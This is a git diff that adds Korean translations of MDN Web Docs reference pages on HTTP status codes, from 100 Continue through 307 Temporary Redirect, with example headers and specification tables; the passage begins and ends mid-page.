user-agent will fetch it)</em></strong> +Keep-Alive: timeout=15, max=98 +Accept-Ranges: bytes +Via: Moz-Cache-zlb05 +Connection: Keep-Alive +X-Cache-Info: caching +X-Cache-Info: caching +Content-Length: 325 <em>(<strong>the content contains a default page to display if the user-agent is not able to follow the link)</strong></em> + +<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> +<html><head> +<title>301 Moved Permanently</title> +</head><body> +<h1>Moved Permanently</h1> +<p>The document has moved <a href="<a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a>">here</a>.</p> +<hr> +<address>Apache/2.2.3 (Red Hat) Server at developer.mozilla.org Port 80</address> +</body></html> + +</pre> + +<p>요청된 자원이 존재하지 않는다는 내용의 알림</p> + +<pre>HTTP/1.1 404 Not Found +Date: Sat, 09 Oct 2010 14:33:02 GMT +Server: Apache +Last-Modified: Tue, 01 May 2007 14:24:39 GMT +ETag: "499fd34e-29ec-42f695ca96761;48fe7523cfcc1" +Accept-Ranges: bytes +Content-Length: 10732 +Content-Type: text/html + +<!DOCTYPE html... <strong><em>(contains a site-customized page helping the user to find the missing resource)</em></strong> + +</pre> + +<h3 id="응답_상태_코드">응답 상태 코드</h3> + +<p><a href="/en-US/docs/Web/HTTP/Status">HTTP 응답 상태 코드</a>는 특정 HTTP 요청이 성공적으로 끝났는지 아닌지를 가르킵니다. 응답은 다섯가지 계층 내로 그룹화됩니다: 정보를 제공하는 응답, 성공적인 응답, 리다이렉트, 클라이언트 오류, 그리고 서버 오류.</p> + +<ul> + <li>{{HTTPStatus(200)}}: 성공. 요청이 성공했다는 것을 의미합니다.</li> + <li>{{HTTPStatus(301)}}: 영구적으로 옮겨짐. 이 응답 코드는 요청된 자원의 URI가 변경되었다는 것을 의미합니다.</li> + <li>{{HTTPStatus(404)}}: 찾을 수 없음. 서버가 요청된 자원을 찾을 수 없음을 의미합니다.</li> +</ul> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">웹 리소스 식별</a></li> + <li><a href="/en-US/docs/Web/HTTP/Headers">HTTP 헤더</a></li> + <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP 요청 메서드</a></li> + <li><a href="/en-US/docs/Web/HTTP/Status">HTTP 응답 상태 코드</a></li> +</ul> diff --git a/files/ko/web/http/status/100/index.html b/files/ko/web/http/status/100/index.html new file mode 100644 index 0000000000..ed01c3f3a9 --- /dev/null +++ b/files/ko/web/http/status/100/index.html @@ -0,0 +1,46 @@ +--- +title: 100 Continue +slug: Web/HTTP/Status/100 +tags: + - HTTP + - Informational + - Status code +translation_of: Web/HTTP/Status/100 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <strong><code>100 Continue</code></strong> 정보 상태 응답 코드는 클라이언트가 서버로 보낸 요청에 문제가 없으니 다음 요청을 이어서 보내도 된다는 것을 의미합니다. 만약 클라이언트의 작업이 완료되었다면 이 응답은 무시해도 됩니다.</p> + +<p>클라이언트가 서버로 하여금 이를 검토하게 하려면 첫 번째 요청에서 {{HTTPHeader("Expect")}}<code>: 100-continue</code>를 헤더로 보내야 합니다. 이후, 클라이언트는 본문을 보내기 전에 서버가 <code>100 Continue</code> 상태 코드로 응답하길 기다려야 합니다.</p> + +<h2 id="상태">상태</h2> + +<pre class="syntaxbox">100 Continue</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "100 Continue" , "6.2.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.100")}}</p> + +<h2 id="같이_보기">같이 보기</h2> + +<ul> + <li>{{HTTPHeader("Expect")}}</li> + <li>{{HTTPStatus(417)}}</li> +</ul> diff --git a/files/ko/web/http/status/101/index.html b/files/ko/web/http/status/101/index.html new file mode 100644 index 0000000000..7402c1b43a --- /dev/null +++ b/files/ko/web/http/status/101/index.html @@ -0,0 +1,52 @@ +--- +title: 101 Switching Protocols +slug: Web/HTTP/Status/101 +tags: + - HTTP + - HTTP Status Code + - Informational + - Reference + - WebSockets +translation_of: Web/HTTP/Status/101 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <code><strong>101 Switching Protocols</strong></code>는 클라이언트가 {{HTTPHeader("Upgrade")}} 헤더를 통해 요청한 것에 따라 서버가 프로토콜을 바꾼다는 것을 알려주는 응답 코드입니다.</p> + +<p>서버는 어떤 프로토콜로 바꾸는지를 응답의 {{HTTPHeader("Upgrade")}} 헤더에 담습니다. 구체적인 절차는 <a href="/en-US/docs/Web/HTTP/Protocol_upgrade_mechanism">프로토콜 업데이트 메커니즘</a>에 기술되어 있습니다.</p> + +<h2 id="상태">상태</h2> + +<pre class="syntaxbox">101 Switching Protocols</pre> + +<h2 id="예제">예제</h2> + +<p><code><strong>101 Switching Protocols</strong></code>는 <a href="/ko/docs/Web/API/WebSockets_API">WebSockets</a>와 함께 사용할 수 있습니다.</p> + +<pre>HTTP/1.1 101 Switching Protocols +Upgrade: websocket +Connection: Upgrade</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "101 Switching Protocol" , "6.2.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="같이_보기">같이 보기</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Protocol_upgrade_mechanism">Protocol upgrade mechanism</a></li> + <li><a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a></li> + <li>{{HTTPHeader("Upgrade")}}</li> + <li>{{HTTPStatus("426")}} <code>Upgrade Required</code></li> +</ul> diff --git a/files/ko/web/http/status/103/index.html b/files/ko/web/http/status/103/index.html new file mode 100644 index 0000000000..0f31f3a62f --- /dev/null +++ b/files/ko/web/http/status/103/index.html @@ -0,0 +1,43 @@ +--- +title: 103 Early Hints +slug: Web/HTTP/Status/103 +translation_of: Web/HTTP/Status/103 +--- +<p>{{HTTPSidebar}}{{Draft}}</p> + +<p>HTTP <strong><code>103 Early Hints</code></strong> 정보 상태 응답 코드는 서버가 응답을 준비하는 동안에도 사용자 에이전트가 자원을 미리 읽어들일 수 있도록, 주로 {{HTTPHeader("Link")}} 헤더와 함께 사용됩니다.</p> + +<h2 id="상태">상태</h2> + +<pre class="syntaxbox">103 Early Hints</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">명세</th> + <th scope="col">상태</th> + <th scope="col">주석</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC(8297, "103 Early Hints")}}</td> + <td><span class="spec-RFC">IETF RFC</span></td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + + + +<p>{{Compat("http.status.103")}}</p> + +<h2 id="같이_보기">같이 보기</h2> + +<ul> + <li>{{HTTPHeader("Link")}}</li> +</ul> diff --git a/files/ko/web/http/status/200/index.html b/files/ko/web/http/status/200/index.html new file mode 100644 index 0000000000..ca5b6fe0ef --- /dev/null +++ b/files/ko/web/http/status/200/index.html @@ -0,0 +1,54 @@ +--- +title: 200 OK +slug: Web/HTTP/Status/200 +tags: + - HTTP + - Status code + - Success +translation_of: Web/HTTP/Status/200 +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary">HTTP <strong><code>200 OK</code></strong>는 요청이 성공했음을 나타내는 성공 응답 상태 코드입니다.</span> 기본값에서 200 응답은 캐시에 저장할 수 있습니다.</p> + +<p>성공의 정의는 다음과 같이 HTTP 요청 메서드에 따라 나뉩니다.</p> + +<ul> + <li>{{HTTPMethod("GET")}}: 리소스를 가져왔고 메시지 바디에 전송되었다.</li> + <li>{{HTTPMethod("HEAD")}}: 개체 헤더가 메시지 바디에 있다.</li> + <li>{{HTTPMethod("POST")}}: 리소스가 명시하는 행동의 결과가 메시지 바디에 전송되었다.</li> + <li>{{HTTPMethod("TRACE")}}: 서버가 요청받은 메시지가 메시지 바디에 포함되어있다.</li> +</ul> + +<p>{{HTTPMethod("PUT")}} 또는 {{HTTPMethod("DELETE")}}의 성공 결과는 종종 <code>200 OK</code>가 아니라 {{HTTPStatus("204", "204 No Content")}} (리소스를 새로 생성한 경우 {{HTTPStatus("201", "201 Created")}}) 입니다.</p> + +<h2 id="상태">상태</h2> + +<pre class="syntaxbox">200 OK</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7231", "200 OK" , "6.3.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.200")}}</p> + +<h2 id="같이_보기">같이 보기</h2> + +<ul> + <li><a href="/ko/docs/Web/HTTP/Methods">HTTP 요청 메서드</a></li> +</ul> diff --git a/files/ko/web/http/status/201/index.html b/files/ko/web/http/status/201/index.html new file mode 100644 index 0000000000..32342eb67c --- /dev/null +++ b/files/ko/web/http/status/201/index.html @@ -0,0 +1,48 @@ +--- +title: 201 Created +slug: Web/HTTP/Status/201 +tags: + - HTTP + - Reference + - Status code + - Success +translation_of: Web/HTTP/Status/201 +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary">HTTP <strong><code>201 Created</code></strong>는 요청이 성공적으로 처리되었으며, 자원이 생성되었음을 나타내는 성공 상태 응답 코드입니다.</span> 해당 HTTP 요청에 대해 회신되기 이전에 정상적으로 생성된 자원은 회신 메시지의 본문(body)에 동봉되고, 구체적으로는 요청 메시지의 URL이나, {{HTTPHeader("Location")}} 헤더의 내용에 위치하게 됩니다.</p> + +<p>이 상태코드(status code)는 일반적으로 {{HTTPMethod("POST")}} 요청(request)에 대한 응답결과(result)로써 사용합니다.</p> + +<h2 id="상태">상태</h2> + +<pre class="syntaxbox notranslate">201 Created</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "201 Created" , "6.3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.201")}}</p> + +<h2 id="같이_보기">같이 보기</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a></li> +</ul> diff --git a/files/ko/web/http/status/202/index.html b/files/ko/web/http/status/202/index.html new file mode 100644 index 0000000000..5f92fc40d7 --- /dev/null +++ b/files/ko/web/http/status/202/index.html @@ -0,0 +1,39 @@ +--- +title: 202 Accepted +slug: Web/HTTP/Status/202 +tags: + - HTTP + - Reference + - Status code +translation_of: Web/HTTP/Status/202 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <code><strong>202 Accepted</strong></code> 는 요청이 성공적으로 접수되었으나, 아직 해당 요청에 대해 처리 중이거나 처리 시작 전임을 의미합니다. 요청이 처리 중 실패할 수도 있기 때문에 요청은 실행될 수도 실행되지 않을수도 있습니다.</p> + +<p>이 상태 코드는는 비확약적, 즉 HTTP가 나중에 요청 처리 결과를 나타내는 비동기 응답을 보낼 방법이 없다는 것을 의미합니다. 이는 다른 프로세스나 서버가 요청을 처리하는 경우 또는 일괄 처리를 위한 것입니다.</p> + +<h2 id="상태">상태</h2> + +<pre class="syntaxbox notranslate">202 Accepted</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "202 Accepted" , "6.3.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="같이_보기">같이 보기</h2> + +<ul> + <li>{{HTTPHeader("Accept")}}</li> +</ul> diff --git a/files/ko/web/http/status/204/index.html b/files/ko/web/http/status/204/index.html new file mode 100644 index 0000000000..fe1333f80e --- /dev/null +++ b/files/ko/web/http/status/204/index.html @@ -0,0 +1,54 @@ +--- +title: 204 No Content +slug: Web/HTTP/Status/204 +tags: + - HTTP + - Reference + - Status code + - Success +translation_of: Web/HTTP/Status/204 +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary">HTTP <strong><code>204 No Content</code></strong> 성공 상태 응답 코드는 요청이 성공했으나 클라이언트가 현재 페이지에서 벗어나지 않아도 된다는 것을 나타냅니다.</span> 기본값에서 204 응답은 캐시에 저장할 수 있습니다. 캐시에서 가져온 응답인 경우 {{HTTPHeader("ETag")}} 헤더를 포함합니다.</p> + +<p>흔히 <code>204</code>를 반환하는 경우는 {{HTTPMethod("PUT")}} 요청에 대한 응답으로, 사용자에게 보여지는 페이지를 바꾸지 않고 리소스를 업데이트할 때 쓰입니다. 리소스를 생성한 경우엔 {{HTTPStatus("201")}} <code>Created</code>를 대신 반환합니다. 새롭게 업데이트한 페이지를 보여줘야 할 경우 {{HTTPStatus("200")}}을 사용해야 합니다.</p> + +<h2 id="상태">상태</h2> + +<pre class="syntaxbox">204 No Content</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "204 No Content" , "6.3.5")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.204")}}</p> + +<h2 id="호환성_참고사항">호환성 참고사항</h2> + +<ul> + <li><code>204 No Content</code>는 본문 없는 응답을 위한 상태 코드이지만, 서버에서 잘못되게 본문을 포함한 응답을 전달하는 경우가 존재할 수 있습니다. HTTP는 이런 경우를 사용자 에이전트 자의적으로, 서로 다르게 처리하는 것을 허용하고 있습니다. <a href="https://github.com/httpwg/http-core/issues/26">이에 대한 토론은 여기서 확인할 수 있습니다.</a> 보통 지속 연결에서 볼 수 있는 문제로, 잘못 포함된 본문이 이후 요청에 대한 별도의 응답을 담고 있을 수 있습니다.<br> + <br> + Apple Safari는 잘못 포함된 모든 데이터를 거부합니다. Google Chrome과 Microsoft Edge는 잘못된 데이터의 최대 4바이트를 검사한 후, 유효한 별도의 요청을 찾지 못한 경우 폐기합니다. Firefox는 최대 1킬로바이트를 검사합니다.</li> +</ul> + +<h2 id="같이_보기">같이 보기</h2> + +<ul> + <li><a href="/ko/docs/Web/HTTP/Methods">HTTP 요청 메서드</a></li> +</ul> diff --git a/files/ko/web/http/status/205/index.html b/files/ko/web/http/status/205/index.html new file mode 100644 index 0000000000..0e846f71e0 --- /dev/null +++ b/files/ko/web/http/status/205/index.html @@ -0,0 +1,39 @@ +--- +title: 205 Reset Content +slug: Web/HTTP/Status/205 +translation_of: Web/HTTP/Status/205 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP의 <strong><code>205 Reset Content</code></strong> 응답상태는 form의 내용을 지우거나 캔버스 상태를 재설정하거나 UI를 새로 고치려면 client의 문서뷰를 새로고침하라고 알려준다.</p> + +<h2 id="상태">상태</h2> + +<pre class="syntaxbox">205 Reset Content</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "205 Reset Content" , "6.3.6")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<ul> + <li>Browser behavior differs if this response erroneously includes a body on persistent connections See <a href="/en-US/docs/Web/HTTP/Status/204">204 No Content</a> for more detail.</li> +</ul> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPStatus(204)}} No Content</li> +</ul> diff --git a/files/ko/web/http/status/206/index.html b/files/ko/web/http/status/206/index.html new file mode 100644 index 0000000000..78bdce43ae --- /dev/null +++ b/files/ko/web/http/status/206/index.html @@ -0,0 +1,85 @@ +--- +title: 206 Partial Content +slug: Web/HTTP/Status/206 +tags: + - HTTP + - HTTP Status + - Range Requests + - Success + - 성공 +translation_of: Web/HTTP/Status/206 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <strong><code>206 Partial Content</code></strong>는 {{HTTPHeader("Range")}} 헤더에 기술된 데이터 범위에 대한 요청이 성공적으로 응답되어 바디에 해당되는 데이터를 담고 있다는 것을 알려줍니다.</p> + +<p>만약 단일 범위 요청을 한 경우에는 응답에 포함된 데이터의 타입은 {{HTTPHeader("Content-Type")}}이며, {{HTTPHeader("Content-Range")}}가 제공될 것입니다.</p> + +<p>만약 다중 범위 요청에 대한 응답이라면, {{HTTPHeader("Content-Type")}}는 <code>multipart/byteranges</code>로 되며 분할된 데이터의 응답은 {{HTTPHeader("Content-Range")}} 와 {{HTTPHeader("Content-Type")}}로 각각의 범위를 기술합니다.</p> + +<h2 id="상태">상태</h2> + +<pre class="syntaxbox">206 Partial Content</pre> + +<h2 id="예제">예제</h2> + +<p>응답이 단일 범위를 가지고 있는 경우:</p> + +<pre class="newpage">HTTP/1.1 206 Partial Content +Date: Wed, 15 Nov 2015 06:25:24 GMT +Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT +Content-Range: bytes 21010-47021/47022 +Content-Length: 26012 +Content-Type: image/gif + +... 26012 bytes of partial image data ...</pre> + +<p>응답이 여러 범위를 가지고 있는 경우:</p> + +<pre class="newpage">HTTP/1.1 206 Partial Content +Date: Wed, 15 Nov 2015 06:25:24 GMT +Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT +Content-Length: 1741 +Content-Type: multipart/byteranges; boundary=String_separator + +--String_separator +Content-Type: application/pdf +Content-Range: bytes 234-639/8000 + +...the first range... +--String_separator +Content-Type: application/pdf +Content-Range: bytes 4590-7999/8000 + +...the second range +--String_separator--</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7233", "206 Partial Content" , "4.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.206")}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{HTTPHeader("If-Range")}}</li> + <li>{{HTTPHeader("Range")}}</li> + <li>{{HTTPHeader("Content-Range")}}</li> + <li>{{HTTPHeader("Content-Type")}}</li> +</ul> diff --git a/files/ko/web/http/status/301/index.html b/files/ko/web/http/status/301/index.html new file mode 100644 index 0000000000..8f930ff981 --- /dev/null +++ b/files/ko/web/http/status/301/index.html @@ -0,0 +1,54 @@ +--- +title: 301 Moved Permanently +slug: Web/HTTP/Status/301 +translation_of: Web/HTTP/Status/301 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <code><strong>301 Moved Permanently</strong></code> 리다이렉트 상태 응답 코드는 요청한 리소스가 {{HTTPHeader("Location")}} 헤더에 주어진 URL로 완전히 옮겨졌다는 것을 나타낸다. 브라우저는 이 페이지로 리다이렉트하고, 검색 엔진은 해당 리소스로 연결되는 링크를 갱신한다[검색엔진 최적화의 관점에서는 '원 콘텐츠가 새로운 URL로 옮겨졌다'(the link-juice is sent to the new URL)고 한다].</p> + +<p>명세에서는 리다이렉트를 수행할 때 메소드(와 응답 본문)이 바뀌어서는 안 된다고 명시하고 있지만, 모든 유저 에이전트가 이를 따르는 것은 아니며 이러한 잘못된 소프트웨어는 아직도 찾아볼 수 있다. 그러므로 <code>301</code> 코드는 {{HTTPMethod("GET")}}과 {{HTTPMethod("HEAD")}} 메소드의 응답으로만 사용하고, {{HTTPMethod("POST")}} 메소드에 대해서는 메소드 변경이 명시적으로 금지된 {{HTTPStatus("308")}} <code>Permanent Redirect</code>를 사용하는 것이 바람직하다.</p> + +<h2 id="상태">상태</h2> + +<pre class="syntaxbox">301 Moved Permanently</pre> + +<h2 id="예제">예제</h2> + +<h3 id="클라이언트_요청">클라이언트 요청</h3> + +<pre>GET /index.php HTTP/1.1 +Host: www.example.org</pre> + +<h3 id="서버_응답">서버 응답</h3> + +<pre>HTTP/1.1 301 Moved Permanently +Location: http://www.example.org/index.asp</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "301 Redirect Permanently" , "6.4.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">이 페이지의 호환성 표는 구조적인 데이터로부터 생성되었습니다. 데이터에 기여하고자 하시면 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>를 참조하셔서 pull request를 보내주시기 바랍니다.</p> + +<p>{{Compat("http.status.301")}}</p> + +<h2 id="같이_보기">같이 보기</h2> + +<ul> + <li>{{HTTPStatus("308")}} <code>Permanent Redirect</code></li> + <li>{{HTTPStatus("302")}} <code>Found</code>, 임시 리다이렉트</li> +</ul> diff --git a/files/ko/web/http/status/302/index.html b/files/ko/web/http/status/302/index.html new file mode 100644 index 0000000000..b7b5a41402 --- /dev/null +++ b/files/ko/web/http/status/302/index.html @@ -0,0 +1,54 @@ +--- +title: 302 Found +slug: Web/HTTP/Status/302 +tags: + - HTTP + - HTTP 상태 코드 + - 레퍼런스 + - 리다이렉트 +translation_of: Web/HTTP/Status/302 +--- +<div>{{HTTPSidebar}}</div> + +<p>하이퍼텍스트 전송 프로토콜 (HTTP)의 302 Found 리다이렉트 상태 응답 코드는 클라이언트가 요청한 리소스가 {{HTTPHeader("Location")}} 헤더에 주어진 URL에 일시적으로 이동되었음을 가리킨다. 브라우저는 사용자를 이 URL의 페이지로 리다이렉트시키지만 검색 엔진은 그 리소스가 일시적으로 이동되었다고 해서 그에 대한 링크를 갱신하지는 않는다 ('SEO 관점' 에서 말하자면, 링크 주스(Link Juice)가 새로운 URL로 보내지지는 않는다).</p> + +<div>명세는 리다이렉션이 수행되었을 때 메서드 (그리고 몸체) 가 변경되어서는 안된다고 명시했지만, 모든 사용자 에이전트들이 이를 따르는 것은 아니다 - 이러한 종류의 버그가 있는 소프트웨어를 쉽게 찾아볼 수도 있다. 따라서, 리다이렉트할 때에도 메서드 변경이 되지 않는 {{HTTPStatus("307", "307 Temporary Redirect")}} 을 대신 사용하고고 {{HTTPMethod("GET")}} 또는 {{HTTPMethod("HEAD")}} 요청에 대한 응답으로는 <code>302</code> 코드를 설정하는 것이 권장된다.</div> + +<div></div> + +<div>메서드가 {{HTTPMethod("GET")}} 으로 변경되도록 하고 싶은 경우에는, {{HTTPStatus("303", "303 See Other")}} 를 대신 사용하라. 이 응답 코드는 {{HTTPMethod("PUT")}} 을 통해 리소스를 업로드하고 나서 업로드된 리소스 대신 '성공적으로 XYZ'를 업로드했습니다' 와 같은 메시지를 보여주는 응답을 할 때 유용하다.</div> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">302 Found</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "302 Found" , "6.4.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("http.status.302")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPStatus("307", "307 Temporary Redirect")}}, the equivalent of this status code where the method used never changes.</li> + <li>{{HTTPStatus("303", "303 See Other")}}, a temporary redirect that changes the method used to {{HTTPMethod("GET")}}.</li> + <li>{{HTTPStatus("301", "301 Moved Permanently")}}, the permanent redirect.</li> +</ul> diff --git a/files/ko/web/http/status/304/index.html b/files/ko/web/http/status/304/index.html new file mode 100644 index 0000000000..9c7f8308b1 --- /dev/null +++ b/files/ko/web/http/status/304/index.html @@ -0,0 +1,63 @@ +--- +title: 304 Not Modified +slug: Web/HTTP/Status/304 +tags: + - HTTP + - Redirection + - Reference + - Status code + - contents verification +translation_of: Web/HTTP/Status/304 +--- +<div>{{HTTPSidebar}}</div> + +<div> +<div class="edit_area___2iv-G" id="targetEditArea"> +<div class="edit_box___1KtZ3 active___3VPGL font_step2___3vt9-" id="txtTarget"><span>클라이언트 리디렉션 응답 코드 </span><code><strong>304 Not Modified</strong></code><span>는 요청된 리소스를 재전송할 필요가 없음을 나타낸다. 캐시된 자원으로의 암묵적인 리디렉션이다. 이 는 </span>{{HTTPMethod("GET")}}<span>나 </span>{{HTTPMethod("HEAD")}}<span> 요청처럼 요청 방법이 </span> {{glossary("안전")}}<span>한 경우 또는 요청이 조건부로 </span>{{HTTPHeader("If-None-Match")}}<span> 또는 </span>{{HTTPHeader("If-Modified-Since")}}<span> 헤더를 사용할 때 응답 된다.</span><br> +<br> +이에 상응하는 {{HTTPStatus("200")}} <code>OK</code> 응답에는 {{HTTPHeader("Cache-Control")}}, {{HTTPHeader("Content-Location")}}, {{HTTPHeader("Date")}}, {{HTTPHeader("ETag")}}, {{HTTPHeader("Expires")}}, 그리고 {{HTTPHeader("Vary")}} 가 포함되어 있었을 것이다.<br> + </div> +</div> +</div> + +<div class="note"> +<p><a href="/en-US/docs/Tools/Network_Monitor">브라우저의 개발자도구 네트워크 패널</a>은 304 응답으로 이어지는 많은 요청을 생성하며, 로컬 캐시로 액세스 하는 것을 개발자에게 보여준다.</p> +</div> + +<h2 id="상태">상태</h2> + +<pre class="syntaxbox">304 Not Modified</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7232", "304 Not Modified" , "4.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.304")}}</p> + +<h2 id="호환성_노트">호환성 노트</h2> + +<ul> + <li><span class="tlid-translation translation" lang="ko"><span title="">이 응답에 영구 연결의 본문이 잘못 포함되어 있으면 브라우저 동작이 다릅니다. 자세한 내용은 </span></span><a href="/en-US/docs/Web/HTTP/Status/204">204 No Content</a><span class="tlid-translation translation" lang="ko"><span title="">을(를) 참조하십시오.</span></span></li> +</ul> + +<h2 id="같이_보기">같이 보기</h2> + +<ul> + <li>{{HTTPHeader("If-Modified-Since")}}</li> + <li>{{HTTPHeader("If-None-Match")}}</li> +</ul> diff --git a/files/ko/web/http/status/307/index.html b/files/ko/web/http/status/307/index.html new file mode 100644 index 0000000000..085b24b02c --- /dev/null +++ b/files/ko/web/http/status/307/index.html @@ -0,0 +1,48 @@ +--- +title: 307 Temporary Redirect +slug: Web/HTTP/Status/307 +translation_of: Web/HTTP/Status/307 +--- +<div>{{HTTPSidebar}}</div> + +<p>{{Glossary("HTTP")}} <code><strong>307 Temporary Redirect</strong></code> 리다이렉트 상태 응답 코드는 요청한 리소스가 {{HTTPHeader("Location")}} 헤더에 주어진 URL 로 임시로 옮겨졌다는 것을 나타냅니다.</p> + +<p>원래 요청한 메소드와 Body 를 재사용하여 요청을 리다이렉트 합니다. 여기서 메소드를 {{HTTPMethod("GET")}}으로 바꾸기 위해서 {{HTTPStatus("303", "303 See Other")}}를 사용하시면 됩니다. 이것은 {{HTTPMethod("PUT")}}요청에 업로드된 리소스가 아닌 "You successfully uploaded XYZ"와 같은 확인메시지 응답을 제공 하는데에 유용합니다.</p> + +<p><code>307</code>과 {{HTTPStatus("302")}}가 유일하게 다른점은 <code>307</code>은 Method 와 Body 를 변경하지 않고 리다이렉트 요청을 하도록 보장합니다. <code>302</code>응답으로 인하여 일부 오래된 클라이언트들은 메소드를 